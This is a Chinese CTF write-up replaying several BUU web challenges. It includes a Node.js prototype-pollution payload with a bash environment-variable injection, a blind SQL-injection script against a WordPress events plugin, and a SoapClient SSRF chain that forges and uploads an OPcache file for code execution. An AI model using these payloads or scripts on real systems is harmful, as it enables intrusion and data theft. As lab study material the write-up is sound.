0x01 前言

十一月的buu比赛没时间打,后续有时间就打算复现了一下,有一道 java 题环境关了没复现成还是挺可惜的。

0x02 题目复现

realrce

题目附件是源码

node.js写的,主要看app.js的代码

就定义了一个根路由,首先分析这个代码比较关键的点

proc_execSync函数执行命令,将命令执行的结果返回给客户端,所以想要rce,必须对cmd_rce赋值,而cmd_rce属性在代码之前并没有定义,在上面有merge函数处理,可以利用原型链污染对cmd_rce赋值。

在这个函数里cmd_rce的过滤

cmd_rce.replace(/\r?\n/g,"")   替换换行符
replace(/[a-zA-Z0-9 ]+=[a-zA-Z0-9 ]+/g,"114514") 替换形如key=value格式的内容
replace(/(\$\d+)|(\$SHELL)|(\$_)|(\$\()|(\${)/g,"114514") 替换形如$132等格式的内容
replace(/(\'\/)|(\"\/)|(\"\.)|(\"\.)|(\'~)|(\"~)|(\.\/+)/,"114514")
replace(/(\'\/)|(\"\/)|(\"\.)|(\"\.)|(\'~)|(\"~)|(\.\/+)/,"114514") 替换例如/path,/dir/格式的内容

限制的真多,但是在这道题还远远不止,继续往下看

首先对我们输入的内容进行waf过滤

类似于一个递归函数,先将输入的内容url解码,然后检测黑名单,这三个就是原型链污染的关键字符串。常规的绕过是不可行的,在捕获异常这可以返回 false,尝试让 decodeURIComponent 函数报错就可以了

decodeURIComponent 是一个url解码函数,当输入的字符串不满足这个函数解码的格式就会抛出异常,那怎么找到这个错误格式的url编码呢,可以满足上面代码的匹配规则然后遍历url编码

%ff就能够满足条件

那么waf就能够绕过成功了,继续往下看,进入到 Door_lock 函数

要让 Door_lock 函数返回true,即要满足 if判断条件,首先看 LockCylinder 函数

对输入的内容过滤掉黑名单中的字符,然后赋值为key,key必须要满足为纯字母

继续看 check_cmd 函数b

过滤的东西太多了,截图截不下来。该题目的环境变量没删,所以有非预期,执行env即可得到flag

而出题人写的WP是利用环境变量注入来RCE

我是如何利用环境变量注入执行任意命令 | 离别歌 (leavesongs.com)

p神好久之前写的了,放官方exp

{
"msg": {
"name": "%ff",
"age": 25,
"city": "Example City",
"__proto__": {
"cmd_rce":"env $'BASH_FUNC_echo%%=() { id;}' bash -c 'echo 123'"
}
}
}

为啥这个exp能够绕过waf,回头继续看 Door_lock 函数的过滤

在 check_cmd 函数中首先消去空格再进行过滤,黑名单写的挺多,但是检测的时候比较刁钻了

if (cmd.includes(command[i] + '&') || cmd.includes('&' + command[i]) || cmd.includes(command[i] + '|') || cmd.includes('|' + command[i]) || cmd.includes(';' + command[i]) || cmd.includes('(' + command[i]) || cmd.includes('/' + command[i])) {
return false;
}

再看另一个 LockCylinder 函数,它会去掉存在以下黑名单的字符

["&&", "||", "&", "|", ">", "*", "+", "$", ";"]

刚开始没太看懂是怎么绕过的,本地贴代码调试一下就明白了,所以说,分析代码还是得多调试

当遍历到$字符,满足黑名单检测,所以就将 env 字符串放进数组里,把exp分割了

最后正则检测的时候,只检测第一个数组元素,也就是env,显然是满足条件的。所以该exp是能够绕过waf并且能够任意命令执行。

waf写的很刁钻,好像是刻意为了满足环境变量注入rce的命令格式来写的,非常好奇还有没有其他能够任意命令执行的waf绕过方式。

EzPenetration

题目源自真实渗透案例

打开题目是一个 wordpress 的站点,扫描了一下目录,有个后台登录,其他的也没啥,看官方WP是用wpscan扫漏洞,但是我kali的wpscan死活扫不到。

扫出来的是一个sql注入:Registrations for the Events Calendar < 2.7.6 - Unauthenticated SQL Injection

查了一下,有poc

查看语句正确,回显success

查询语句错误,回显error

利用不同的回显可以盲注

稍微修改了一下官方wp的脚本

#! /bin/python
import requests

def main():
session = requests.Session()
result = ''
i = len(result)
while True:
i = i + 1
head = 30
tail = 130

while head < tail:
mid = (head + tail) >> 1
paramsPost = {"email": "r3tr0young@gmail.com",
"event_id": f"3 union select 1,2,3,4,5,6,7,8,9,database() from wp_users where 0^(select(select ascii(substr(group_concat(option_name,0x7e,option_value),{i},1)) from wp_options where option_id = 15)>{mid})-- "}
cookies = {"wordpress_test_cookie": "WP%20Cookie%20check"}
response = session.post("http://node4.buuoj.cn:26770/wp-admin/admin-ajax.php?action=rtec_send_unregister_link", data=paramsPost,cookies=cookies)

if "success" in response.text:
head = mid + 1
else:
tail = mid

if head != 30:
result += chr(head)
print(result)
else:
break

if __name__ == '__main__':
main()

查询 wp_options 表的 option_name 和 option_value 两个字段,表中第十五行,爆破出管理员邮箱

在表中第十六行中,找到了类似于密码的东西

在后台登录页有个忘记密码,可以通过邮箱重置密码,然后登录到后台

复现的时候邮箱好像不管用了,登录到后台后安装 wp-file-manager 漏洞插件来rce。

single_php

0解题,打开题目,用 highlight_file 高亮函数来显示代码

一段很短的php代码,存在反序列化,但是只能执行一个无参的函数,例如phpinfo(),在上面html里还有另一个文件

只允许本地回环ip访问,看来只能打ssrf了,可以上传压缩包,并且解压到tmp目录下。唯一执行命令的地方就是exec,本来想着在上传的文件名注入命令,单引号闭合可以任意命令执行,但是回头再看,对上传的文件名重命名了,用的是tmp_name,貌似不可控

官方wp说是利用OPCACHE缓存文件来RCE,在比赛中我应该写不出来,因为根本没了解这个

现在开始了解,OPCACHE是php的一个扩展。当用户发出一个请求时,解析当前的php文件生成计算机代码opcode,然后执行。而OPCACHE扩展将解析好的php文件的字节码存放在共享内存中,当再次请求的php文件没有变化,它会去共享内存里拿,而避免了再次编译,直接执行内存里的opcode。减少计算机的开销。

相关文章:php7的Opcache getshell

执行phpinfo();看看题目中是否开启了这个扩展

<?php
class siroha{
public $koi = array("zhanjiangdiyishenqing"=>"phpinfo");
}

$a = new siroha();
echo serialize($a);

将缓存文件放在了tmp目录下,题目环境为8.2.10的php环境

本地拉一个相同环境的docker,下载该OPCACHE扩展,在自己容器上新建一个phpinfo,运行

在该目录下生成了一个phpinfo.php.bin二进制文件,也就是解析后的opcode

我们本地写一个能够任意命令执行的index.php,生成的缓存文件上传题目服务器,并且覆盖掉原有的缓存文件,当再次访问index.php,该文件的代码不发生变化,会直接执行缓存文件里的opcode,就能rce了。将本地的缓存文件下载下来,用010打开看

有一串md5值,也是tmp目录下的文件名,叫做system_id,计算的php代码

var_dump(md5("8.2.6API420220829,NTSBIN_4888(size_t)8\002"));

而在题目环境中又开启了时间戳验证

所以只能写脚本上传了。首先本地docker里编写一个可以rce的index.php

然后将它的缓存文件下载下来,用脚本修改时间戳,并且伪造上传数据

直接贴上官方WP里的python脚本

import binascii
import hashlib
import requests
import re
import tarfile
import subprocess
import os
url = "http://12943d13-4210-4cf7-8219-8aa4761aef73.node4.buuoj.cn:81/?LuckyE=filectime"
def timec():
pattern = r"\d{10}" #匹配十位数字
timeres = requests.get(url=url)
match = re.search(r"int\((\d{10})\)",timeres.text)#从响应包中提取到时间戳信息
try:
ten_digit_number = match.group(1)
print(ten_digit_number)
return ten_digit_number #返回时间戳
except:
print('dame')

def split_string_into_pairs(input_string):
if len(input_string) % 2 != 0:
raise ValueError("输入字符串的长度必须是偶数")
pairs = [input_string[i:i+2] for i in range(0, len(input_string), 2)]
return pairs

def totime(time):
b = split_string_into_pairs(f"{hex(int(time))}")
b.pop(0)
s = ''
for i in range(0, len(b)):
s += b[-1]
b.pop(-1)
return s
def changetime():
with open("index.php.bin","rb") as file:
binary_data = file.read()
# 将二进制数据转换为十六进制字符串
hex_data = binascii.hexlify(binary_data).decode('utf-8')
new_data = hex_data[0:128]+totime(timec())+hex_data[136:]
with open("index.php.bin","wb") as f:
f.write(bytes.fromhex(new_data))
changetime()
sys_id = hashlib.md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002".encode("utf-8")).hexdigest()
print(sys_id)
def tar_file():
tar_filename = 'exp.tar'
with tarfile.open(tar_filename,'w') as tar:
directory_info = tarfile.TarInfo(name=f'{sys_id}/var/www/html')
directory_info.type = tarfile.DIRTYPE
directory_info.mode = 0o777
tar.addfile(directory_info)
tar.add('index.php.bin', arcname=f'{sys_id}/var/www/html/index.php.bin')
def upload():
file = {"file":("exp.tar",open("exp.tar","rb").read(),"application/x-tar")}
res = requests.post(url="http://12943d13-4210-4cf7-8219-8aa4761aef73.node4.buuoj.cn:81/siranai.php",files=file)
print(res.request.headers)
return res.request
tar_file()
request_content = upload()
upload_body = str(request_content.body).replace("\"","\\\"")
content_length = request_content.headers['Content-Length']
print(content_length)
print(upload_body)

将生成的请求体数据封装在 SoapClient 内置类里,序列化

<?php
class siroha{
public $koi;
}
$postdata="";
try {
$a = new SoapClient(null, array('location' => "http://127.0.0.1/siranai.php", 'user_agent' => "Enterpr1se\r\n" . "Cookie: PHPSESSION=16aaab9fb\r\nContent-Type: multipart/form-data; boundary=" . substr($postdata, 2, 32) . "\r\nConnection: keep-alive\r\nAccept: */*\r\nContent-Length: 10416" . "\r\n\r\n" . $postdata,
'uri' => "http://127.0.0.1/siranai.php"));
} catch (SoapFault $e) {
}
$b = new siroha();
$b->koi=["zhanjiangdiyishenqing"=>[$a,"nnnnn"]];
echo urlencode(serialize($b));

这里调用 SoapClient 对象的不存在的nnnnn方法,会触发call方法。burp发包

这里实际上已经覆盖掉了,页面回显发生变化,实际上就是直接运行了我们上传的opcode,还挺神奇的

这就已经成功拿到shell了。

ezfastjson

题目环境关了,本来挺想复现这个题的,期望后续环境能开。

官方wp:https://dxh3b3fqgc3.feishu.cn/docx/HkgmdV6Fgom3P0x0iUscKxYZnLd